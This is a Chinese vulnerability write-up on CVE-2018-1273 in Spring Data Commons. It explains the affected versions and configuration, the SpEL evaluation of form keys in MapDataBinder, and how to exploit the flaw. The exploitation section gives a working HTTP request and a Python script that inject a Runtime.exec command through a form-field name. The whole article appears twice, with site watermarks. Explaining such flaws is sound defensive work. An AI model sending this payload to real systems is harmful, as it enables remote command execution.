Spring-data-commons(CVE-2018-1273)漏洞分析
CVE-2018-1273 是 Spring-data-commons近期爆出的一个可远程执行代码的漏洞，为了了解更多细节，本文将从漏洞的成因，漏洞的判定以及漏洞的利用三个方面来进行详细说明。
漏洞的成因
当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候，会将用户提交的form表单的key值作为Spel的执行内容，而这一步就是本次漏洞的爆发点。
漏洞的判定
确认目标项目中含有Spring-data-commons包并且版本范围如下
Spring Data Commons 1.13 to 1.13.10
Spring Data Commons 2.0 to 2.0.5
查看相关特性是否已经开启
1.@EnableSpringDataWebSupport 被显示声明
2.@EnableSpringDataWebSupport 没有显示声明，但采用了spring-boot框架的自动扫描特性 当采用Spring-boot的自动扫描特性的时候，在启动时会自动加载 SpringDataWebConfiguration类效果与上述相同
3.在非注解声明项目中，如果有如下声明，也视为开启了相关的特性
class="org.springframework.data.web.config.SpringDataWebConfiguration" />
检查带@RequestMapping的接口，方法的参数为一个自定义的接口(Interface)
满足如上条件的靶子代码如下
@SpringBootApplication
public class App {
public static void main(String[] args) {
SpringApplication.run(App.class);
}
@Controller
public class TestController {
@RequestMapping("test")
public void CVEController(TestForm testForm){
System.out.println(testForm.getName());
}
}
interface TestForm {
String getName();
}
}
漏洞的利用
根据上述判定出来的漏洞点，我们可以构造如下攻击代码
1.构建一个Http的Post请求2.利用form表单提交的方式来提交我们的key value3.在key的名称中包含此次攻击代码4.提交的key为上文的 getName() 方法的 name5.在name后面补上一段Spel支持的代码片段,key将变成如 name[T(java.lang.Runtime).getRuntime().exec("calc")]
最终playload如下
POST /test HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache
name%5BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%5D=v
用python写的简单脚本如下
import http.client, urllib.parse
command = "calc.exe"
key = 'name[T(java.lang.Runtime).getRuntime().exec("%s")]' % command
params = urllib.parse.urlencode({key: 'v'})
headers = {"Content-type": "application/x-www-form-urlencoded"}
conn = http.client.HTTPConnection(host="localhost",port=8080)
conn.request("POST", "/test", params, headers)
conn.close()
总而言之当满足漏洞条件时，只需要发送一个特定的key就可以了
Spring-data-commons漏洞被执行的流程
本次漏洞的成因，主要在于Spring在自动解析用户的参数的时候采用了 SpelExpressionParser 来解析propertyName
MapDataBinder.java 169行
Expression expression = PARSER.parseExpression(propertyName);
PropertyPath leafProperty = getPropertyPath(propertyName).getLeafProperty();
TypeInformation owningType = leafProperty.getOwningType();
TypeInformation propertyType = owningType.getProperty(leafProperty.getSegment());
propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
if (conversionRequired(value, propertyType.getType())) {
PropertyDescriptor descriptor = BeanUtils
.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
value = conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
}
expression.setValue(context, value);
那么这个MapMapDataBinder是怎么被调用起来的呢，我们简要地说一下 SpringMVC在解析参数这个部分
SpringDataWebConfiguration 类的特性被启用的时候，会将 ProxyingHandlerMethodArgumentResolver 注册到容器中去
当SpringMVC得到一个请求的时候，会遍历容器中注册的 HandlerMethodArgumentResolver 调用他们的supportsParameter方法。由于我们的参数是一个Interface(接口),那么 ProxyingHandlerMethodArgumentResolver 就会告诉调用方，它支持这个参数的解析即 supportsParameter 会返回true,但在实际中还会有多个判断比如该接口不能是java包下的，也不能是org.springframework包下的
ProxyingHandlerMethodArgumentResolver在拿到参数的时候会创建一个MapDataBinder来解析参数MapDataBinder.bind()方法，会连带进行doBind操作，最终会调用到 setPropertyValue 方法来，最后在 expression.setValue(context, value) 的时候触发了漏洞
CVE-2018-1273 是 Spring-data-commons近期爆出的一个可远程执行代码的漏洞，为了了解更多细节，本文将从漏洞的成因，漏洞的判定以及漏洞的利用三个方面来进行详细说明。
漏洞的成因
当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候，会将用户提交的form表单的key值作为Spel的执行内容，而这一步就是本次漏洞的爆发点。
漏洞的判定
确认目标项目中含有Spring-data-commons包并且版本范围如下
Spring Data Commons 1.13 to 1.13.10
Spring Data Commons 2.0 to 2.0.5
查看相关特性是否已经开启
1.@EnableSpringDataWebSupport 被显示声明
2.@EnableSpringDataWebSupport 没有显示声明，但采用了spring-boot框架的自动扫描特性 当采用Spring-boot的自动扫描特性的时候，在启动时会自动加载 SpringDataWebConfiguration类效果与上述相同
3.在非注解声明项目中，如果有如下声明，也视为开启了相关的特性
class="org.springframework.data.web.config.SpringDataWebConfiguration" />
检查带@RequestMapping的接口，方法的参数为一个自定义的接口(Interface) copyright 无奈人生
满足如上条件的靶子代码如下
@SpringBootApplication
public class App {
public static void main(String[] args) {
SpringApplication.run(App.class);
}
@Controller
public class TestController {
@RequestMapping("test")
public void CVEController(TestForm testForm){
System.out.println(testForm.getName());
}
}
interface TestForm {
String getName();
}
}
漏洞的利用
根据上述判定出来的漏洞点，我们可以构造如下攻击代码
1.构建一个Http的Post请求2.利用form表单提交的方式来提交我们的key value3.在key的名称中包含此次攻击代码4.提交的key为上文的 getName() 方法的 name5.在name后面补上一段Spel支持的代码片段,key将变成如 name[T(java.lang.Runtime).getRuntime().exec("calc")]
最终playload如下
POST /test HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache
name%5BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%5D=v
用python写的简单脚本如下
import http.client, urllib.parse
command = "calc.exe"
key = 'name[T(java.lang.Runtime).getRuntime().exec("%s")]' % command
params = urllib.parse.urlencode({key: 'v'})
headers = {"Content-type": "application/x-www-form-urlencoded"}
conn = http.client.HTTPConnection(host="localhost",port=8080)
conn.request("POST", "/test", params, headers)
conn.close()
总而言之当满足漏洞条件时，只需要发送一个特定的key就可以了
Spring-data-commons漏洞被执行的流程
本次漏洞的成因，主要在于Spring在自动解析用户的参数的时候采用了 SpelExpressionParser 来解析propertyName
MapDataBinder.java 169行
Expression expression = PARSER.parseExpression(propertyName);
PropertyPath leafProperty = getPropertyPath(propertyName).getLeafProperty();
TypeInformation owningType = leafProperty.getOwningType();
TypeInformation propertyType = owningType.getProperty(leafProperty.getSegment());
propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
if (conversionRequired(value, propertyType.getType())) {
PropertyDescriptor descriptor = BeanUtils
.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
value = conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
}
expression.setValue(context, value);
那么这个MapMapDataBinder是怎么被调用起来的呢，我们简要地说一下 SpringMVC在解析参数这个部分
SpringDataWebConfiguration 类的特性被启用的时候，会将 ProxyingHandlerMethodArgumentResolver 注册到容器中去
当SpringMVC得到一个请求的时候，会遍历容器中注册的 HandlerMethodArgumentResolver 调用他们的supportsParameter方法。由于我们的参数是一个Interface(接口),那么 ProxyingHandlerMethodArgumentResolver 就会告诉调用方，它支持这个参数的解析即 supportsParameter 会返回true,但在实际中还会有多个判断比如该接口不能是java包下的，也不能是org.springframework包下的
ProxyingHandlerMethodArgumentResolver在拿到参数的时候会创建一个MapDataBinder来解析参数MapDataBinder.bind()方法，会连带进行doBind操作，最终会调用到 setPropertyValue 方法来，最后在 expression.setValue(context, value) 的时候触发了漏洞 内容来自无奈安全网
www.wnhack.com